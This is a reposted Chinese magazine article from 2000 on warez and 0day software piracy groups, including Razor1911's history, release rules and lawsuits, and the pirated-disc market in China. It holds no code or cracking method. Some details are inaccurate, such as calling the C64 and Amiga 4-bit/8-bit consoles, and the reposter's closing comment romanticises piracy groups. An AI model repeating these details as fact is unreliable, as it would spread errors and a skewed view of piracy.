20世纪90年代,PC机在全球的普及和互联网的日益发展,为这些组织的成长壮大创造了良好的土壤。这个组织是无形的,他们有自己的信念和约定俗成的行规,他们没有自己网站,不赚钱,破解的游戏只用FTP上传以供下载,并通过BBS交流
信息。其组织成员很有奉献精神,以自己是“WAREZ”或“0DAY”组织成员为荣。在美国的一些大学中,如果一个学生是“0DAY”成员,他的计算机教师甚至会考虑在他的成绩单中加分——因为加入此种盗版组织意味着你在技术上的优秀。这些组织早期的首脑有的现已成为律师、 医生和政府官员等社会中坚力量。
这里我们要解释一下“WAREZ”的含义,它是国外从事软件盗版制作者的统称。“WARE”表示破解软件,“Z”表示零(ZERO),意为在不到一天的时间里破解软件。那么“0 D AY”的意思也就不言而喻了。
下面我们再介绍一下这类组织破解正版软件的流程。

首先是提供组负责购买游戏或取得资料,然后是解密组负责将软件解密,这个组的成员往往是最多的,也是技术含量最高的。再往后是包装组。在这里光盘破解组织和硬盘破解组织的“行规”是不同的。硬盘版要求2.8×65,即不能超过65个
压缩包,每个压缩包的大小不能超过2.8兆,他们认为超过这个标准就不能算硬盘版,对下载者就是一种欺骗。光盘版则没有这种限制,15兆一个ISO光盘镜像包,使用者全部下载后再将其解压刻录于光盘,就可以玩完整的光盘游戏。具体压缩一般的规矩是这样:一个ISO包内含一个ZIP包,ZIP包内含的多媒体文件再用ACE压缩。这样保证了1:12的压缩率,便于网上传播——以上所说的完全是一种对玩家利益的考虑。最后是发行组,负责在FTP上上传破解后 的游戏软件。
这些组织破解的游戏通常放在国外地下站点,通过FTP下载时需要验证你的IP,看是否是它的成员,而且IP通过检验进入FTP后你会看到欢迎词,以及“本站是XX组织北美第XX发行站”之类的字样。它还将告诉你今天有那些游戏上传、昨天有那些游戏上传、你上传过多少游戏,下载过多少游戏,制作过多少有趣的DEMO程序。如果你长期没有破解游戏上传记录,将取消你的IP记录。
各种组织没有自己专门的FTP下载基地,你可以自愿提供资源,当然站长也可以加入到各类组织中去。无论是组织成员还是站长,凡是自愿加入这种组织的,都具有相当的责任心,当某一成员破解上传的游戏在其他的站上被别人抢先破解上传过了,那么你破解的将被CANCEL。而如果他做的硬盘版没有你的完美,那么他也将自动CANCEL掉自己 的那个版本。这个规则保证了优胜劣汰,保证了所有破解软件只有一个版本,但它肯定是最完美的。
各大组织的外围成员来自世界各地,只要他们愿意,而且技术上能做得到,就可以同时加入几个盗版组织。而当你从学校毕业有了一份正当的职业后,再没有精力做这种义务劳动了,那么你将从组织中自动淡出。
由此可见,这种组织从加入到管理到退出完全依赖一种自我完善的机制。它是松散的,同时又非常合理。但由于它的开放性,有时也会出现某方面人员的匮乏。如果你用写字板打开盗版软件中的.NFO文件,很可能看到“我们目前缺乏解密组和提供组人员,诚邀有志者加盟……”等字样。
除去这种非法的盗版游戏传播工作,“0DAY”组织成员还热衷于制作一种自动播放的有动画、有音乐的小DEMO程序。他们通过它来宣传自己的组织,炫耀自己的技术,有时还通过这种小程序来攻击竞争对手——这招实在算不得不文明。这种程序字节数越小、播放时间越长就越好,在这方面创记录的是CLASS组成员的一个程序,它只有27K。在PC机硬盘版游戏解压缩的执行文件也是破解组织比拼技术的一种方式。英国的老牌组织MYTH的安装界面甚至提供俄罗斯方块游戏,用以打发你在安装游戏时等待的时光。目前国际知名的PC游戏软件盗版组织中专门破解制作光盘版的有RAZOR1911、FA IRLIGHT和DEVIANCE,专门制作硬盘版的有CLASS、MYTH和DD。应用软件盗版组织中CORE、FOREST、ING和PARADIGM是最有名的。其中FOREST专门破解图形软件。目前世界上所有流通的盗版图形软件几乎都是由这个组织破解的。

这一节将简要介绍一下RAZOR1911组织从1985年至今在Commodore64,Amiga和PC机上的经历(C64和Amiga都是80年代的4位/8位游戏机),因为它是此类组织发展历程中最具代表性的一个。
1985年10月一个雨后的傍晚,3个年轻的挪威计算机爱好者决定成立一个计算机小组,破解Commodore64机种的游戏软件。他们并不很清楚成立一个小组都需要些什么,但他们从1941、Section 8、Jedi2001、Hellmates、SCC等著名的软件破解小组那里得到了很多灵感。
好的组织要有个好名字,一个朋友为他们起名叫RAZOR2992,他们不喜欢这个名字,不久就改名为RAZOR1911。许多人问他们为什么用这个名字,他们就回答说因为在C64游戏机破解组织中,有太多没脑子的孩子用类似666这种号码在他们的DEMO、信笺和盘盒上,他们觉得这很幼稚,他们需要神秘感,1911在16进制算法中可转化为777,是对666的一种讽刺。后来他们也曾用Project$777的名字制作Amiga游戏机的DEMO。C64时代很短暂,他们做了许多DEMO和一些软件破解,成为挪威有名的小组之一。他们的名作不多,其中一些至今还在Commodore64纪念光盘里流通(C64可在MS-DOS和UNIX系统中模拟运行)。后来该小组一些成员分裂出去,进入TCC和Megaforce。其余的人决定加入Active CrackingCrew(ACC)组织。在那里他们学会如何象一个专业的软件破解者那样工作,并第一次把视线投向了整个世界。他们为自己广泛宣传,6个月后又参加了在丹麦举办的被称为“顶极精英”者的国际聚会,这种聚会的另一种称谓是“拷贝团拜”(COPY-PARTIES)。他们在会上评选出1987年年度最佳解密高手。TRIAD小组的Mr.Z以微弱票数险胜RawDeal的Laffen,获得了“年度最佳解密高手”的称号。当时FAIRLIGHT还和ACC现场合作破解了一个詹姆士.邦德的007游戏。从丹麦回到挪威,兴奋的年轻
人重组了RAZOR1911,在AMIGA机种上和RAW DEAL合作,东山再起。
在AMIGA上的发展开始非常缓慢,1988年才开始陆续做出一些DEMO,并在全球有了一些成员。当时的许多DEMO相当原始,但是有好的想法,好的图像和动听的音乐,后来它们大部分都遗失了。不象许多新成员所想象的那样,RAZOR1911的老成员们都明白他们真正希望成为的是一个最好的游戏破解组织,而不仅是一个DEMO制作组。当他们在DEMO制作上有了些名气后时常与许多专门的游戏软件破解组织联系,1989年,当一些组织解散后,其成员都被RAZOR1911吸收进去。其中Zodact和Onyx分别是美国和欧洲的主力游戏破解组织,由于这些富有经验的成员的加入,RAZOR1911很快转型为一个真正的游戏破解组织——在后来的PC机时代,那时吸收的成员仍然是RAZOR1911最好最有力的成员。他们同时还掌握了大量盗用电话线路的技术,这使得他们可以将自己的联系网轻易地扩展到全世界。在1989年的最后两周里他们有了两个世界第一的破解作品——Pocket Rockets和StripPokerⅡ。同时他们也受到了其他组织的恶性竞争。到了1991年4月,他们已经破解了50个AMIGA游戏软件。这之后AMIGA机种软件很难破解了,它的每张盘都有密码锁,你不得不一次次面对各种不同的新问题,而NTSC/PAL两种制式的差别使得美国人没有补丁就不能玩欧洲的游戏。而且现在有太多的小组在竞争,大家常常为破解同一个游戏而暗中比赛,压力变大了,而这时的整个社会经济都处于疲软状态,许多组织没有足够的钱支持下去。
对未来RAZOR的创建者没有足够明确的方向。但这时一个富有才华的PC软件破解者Darwin将PC机带入了他们的视线。RAZOR很快关闭了AMIGA专线。他们彻底地重组了组织,包括匿名的投资者和 DoctorNo、Onyx、Zodact等一批过去的精英。他们合作破解了一大批电脑游戏软件,在业内口碑甚好。他们由紧凑、精干、高效率的小组很快变为了一个庞大无形的游戏破解机构。RAZOR变成了一个大公司式的玩意儿,他们不断地破解游戏、制作修改器、提取游戏动画……4年内他们几乎破解了600个游戏和无数的其他产品。
1995年后国际互联网有了长足发展,RAZOR组织充分利用它并有了更广阔的发布渠道,他们比以前任何时候都更快更多地接触到饥渴的人群。这一年他们还插足CD-ROM领域。开始只是以RAZOR1911的名义零星地破解了一些光盘版游戏。他们一开始没有过多关注这个领域,直到软盘游戏越来越少,他们也真正重视起光盘游戏并取得了这个领域的主导地位。目前他们仍然是全球最大的PC光盘游戏盗版组织并深受一些年轻人的崇拜,他们同样着迷于对游戏破解技术的攻坚,并喜欢穿着印有RAZOR1911标志的外套招摇过市。作为一个如此庞大的组织,他们也存在着这样那样的问题。他们在94和95年有过
两次大分裂,更甚至有些人物被警方逮捕和备案。但他们还是度过了难关,继续发展着。关于这些盗版组织更详细的历史材料都在他们这些年来破解的PC游戏所附的.nfo文件中,你从中可以了解到他们许多被遗忘的秘密。

我们对国外的盗版制作组织有了初步的了解,但是外国政府是如何对待这些组织的呢?我们前面说过,盗版制作者很有一种黑客精神:追求绝对技术,追求完全共享。这在客观上已经侵犯了软件厂商的利益。更何况你不为盈利,并不代表着别人也不想盈利!在加拿大、德国和南非等地,盗版软件销售十分猖獗,而在俄国一切都几乎是公开的。实际俄国的DD组织就直接从事赢利性销售。几乎所有的盗版组织都被大公司告上过法庭。最近的例子是关于EA公司出品游戏FIFA2000的。由于盗版组织的“提供组”成员渗入EA公司内部,致使母盘外流,结果盗版FIFA2000比正版提前出了1个月。EA公司愤怒
之中在俄国、英国和德国分别将DD、MYTH和CLASS告上法庭。俄国DD组织成员被抓,判刑,后来司法部门收受贿赂,将该组织成员释放。英国法院则认为MYTH只在网上传播硬盘版,自己没有网站和广告,没有万维网(WWW)的链接,没有赢利,所以判定MYTH组织无罪。德国的CLASS则只是罚款了事,没有追究任何刑事责任。但是现在的盗版组织都不敢碰EA这样的大公司,他们总是等EA的正版游戏出品了再做破解版。因为这种公司的势力实在太大了。其他的时候盗版总是比正版出得快,《暗黑破坏神Ⅱ》(DIABLOⅡ)的盗版(光盘破解版)比美国本土正式版提早两天上市而且破解得相当完美!其原因正如上所述,正版从业者中有些本身就是“WAREZ”成员。
这些还只是游戏软件,在国外应用软件破解在某种程度上比游戏软件的破解技术难度高得多,而且风险也更大。以北美地区为例,任何一款正版游戏最高售价也不过49.9美金,而正版应用软件的价格都要上100美元,而盗版软件一张只卖到9美元。这种价格差听起来很容易让我们联想到我国的盗版现状。盗版组织四处网罗的枝蔓在我国又是如何延伸的呢?

中国最早的个人“WAREZ”组织志愿者、中国“中文解密基地”网站站长曾想建立自己的“CHINA 0DAY”组织,而且他在国内的志同道合者也不在少数,但是他们很快发现在中国不可能产生“0DAY”组织。很多人把原因简单地归结为某种“民族性”的障碍,这是不对的。这里面存在很大的经济因素、社会因素和技术因素的问题。从经济上讲,欧美国家IT业和电信业本来就发达,每年个人无论在软硬件消费还是网络服务费用上,相对于人均收入都是微乎其微的。经济的发达带动了社会的发展和教育水平的进步,这意味着在发达国家更多有计算机天赋的青年可以有条件从事这一爱好,而在中国如果
一个计算机天才在山区诞生了,那么他永远将无法证明自己。而即使当一个中国青年终于可以承担自己在计算机上投入的金钱时,他已经不具备加入“0DAY”的条件和精力了。谈到技术,我国目前网络带宽很难让人满意,每秒钟十几K怎么和国外50兆/秒的速度相比?不要说0 DAY,就是上传下载恐怕也要5DAY不止啊。把这一切制约因素都通通抛开不谈,仅仅说一句“中国人没有这种素质和意识”是不公平的。目前国内一些向往“WAREZ”组织的青年,都希望到国外去施展一下自己在这方面的“才华”。 如果说以上的青年还只是对电脑技术的迷恋,那么GAMEZ88组织可就不是这样了。据说它是FAIRLIGHT一个18岁在斯坦福大学读书的成员在中国搞的一个纯赢利组织,具体成员分布不详。GAMEZ88的游戏都是在国外破解然后在国内压制成盘的,真正好的技术在国外,国内盗版组织几乎不具备破解能力。据说FAIRLIGHT专门有外国组,负责破解多语种游戏软件。简体中文版《魔法门之英雄无敌Ⅲ》的硬盘版很可能就是靠国外小组破解的。这是国内比较有来历的盗版组织,其他的一些零散组织则采取互相盗用或到国外WWW网站下载的方式制作盗版光盘。另外香港也是一个盗版天堂,大陆的许多盗版软件都是从那里流入的。
这里有一个很大的怪圈:盗版商人痛恨伪正版商,因为他们比自己谋取了更多的暴利。一张盗版盘成本2元,利润只有1元,这1元还是层层批发商一起来分的。而伪正版商很可能与一些正版厂商内部人员串通,用千元报酬获得图片、攻略和手册说明书,然后便翻版印制,以盗版的成本和正版的价格出售给拥护正版游戏的玩家。而另一方面盗版制作者却巴不得国家下力气抓盗版,盗版销售被限制了,盗版商赔了,但是由于光盘的减少,制作者反而会奇货可居而赚得更多!这就是我国盗版市场的冰山一角。 七文章到这里就结束了,由于信息来源的局限性,某些具体细节的真实我们已无从验证,有兴趣的读者欢迎继续与我们交流看法。最后要说的是,我们写本文的目的,不是为盗版行为歌功颂德。它是对劳动的不尊重,更是阻碍经济正常运转的毒瘤,无论盗版者的初衷是什么,他们都永远是我们要打击的对象。
这篇文章摘自2000.9月上期(17)的《大众软件》(总第82期)全文的立意是介绍WareZ,“打击盗版”,但是首先我要申明的是这只是文中的观点。
正如文中所说WareZ是“不以赢利为目的纯技术团伙”,“他们有自己的信念和约定俗成的行规,他们没有自己网站,不赚钱,破解 的游戏只用FTP上传以供下载,并通过BBS交流信息。其组织成员很有奉献精神,以自己是‘WAREZ’或‘0 DAY’组织成员为荣”,只不过他们的成果被那些商人所利用才有今天的所谓“盗版软件”。
这正如大家现在嘴里所说的“黑客”和以前所指真正意义上的“Hacker”之间的区别。希望这篇文章对大家理解WareZ有所帮助